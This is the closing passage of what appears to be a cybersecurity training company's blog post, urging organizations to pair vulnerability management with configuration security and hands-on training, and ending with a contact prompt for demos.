needle on organizational risk.
The Bottom LineModern cybersecurity needs both proactive vulnerability management expertise and configuration security discipline. The teams that understand how these pieces fit together—and get hands-on practice with both—are the ones that actually stop attacks instead of just talking about them.Addressing vulnerabilities and security misconfigurations requires ongoing commitment, proper management tools, and security teams trained to handle the evolving threat landscape. Organizations that invest in comprehensive security approaches, including regular hands-on security training, position themselves to better protect against both known vulnerabilities and configuration-based attacks.
Globally Trusted Workforce Development and Industry Certifications
Have a question?
We’re here to help!
Whether you’d like more information on our training materials or are interested in a free demo, please contact us at any time.
